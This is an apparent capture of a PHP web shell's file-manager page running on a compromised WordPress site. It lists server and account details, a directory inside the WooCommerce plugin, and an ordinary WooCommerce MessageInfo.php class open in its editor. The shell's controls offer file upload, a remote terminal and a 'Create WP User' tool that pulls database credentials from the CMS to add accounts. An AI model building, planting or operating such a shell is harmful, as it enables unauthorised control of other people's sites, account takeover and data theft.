Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
woocommerce
/
src
/
StoreApi
/
Routes
/
V1
/
Agentic
/
Messages
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
Message.php
1.10 KB
-rw-r--r--
2026-03-03 00:17
MessageError.php
3.54 KB
-rw-r--r--
2026-03-03 00:17
MessageInfo.php
1.24 KB
-rw-r--r--
2026-03-03 00:17
Messages.php
1.04 KB
-rw-r--r--
2026-03-03 00:17
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
MessageInfo.php
<?php declare(strict_types=1); namespace Automattic\WooCommerce\StoreApi\Routes\V1\Agentic\Messages; use Automattic\WooCommerce\Internal\Agentic\Enums\Specs\MessageType; /** * MessageInfo class. * * Represents an info message object as defined in the Agentic Commerce Protocol. */ class MessageInfo extends Message { /** * The error type (always 'error' for message errors). * * @var string */ private $type = MessageType::INFO; /** * Constructor. * * @param string $content Error content/message. * @param string|null $param RFC 9535 JSONPath (optional). */ public function __construct( $content, $param = null ) { $this->content = $content; $this->param = $param; } /** * Check if the message is an error. * * @return bool True if the message is an error, false otherwise. */ public function is_error(): bool { return false; } /** * Convert the error to an array. * * @return array A message for the `messages` array of the response. */ public function to_array(): array { $data = array( 'type' => $this->type, 'content_type' => $this->content_type, 'content' => $this->content, ); if ( null !== $this->param ) { $data['param'] = $this->param; } return $data; } }
关闭
保存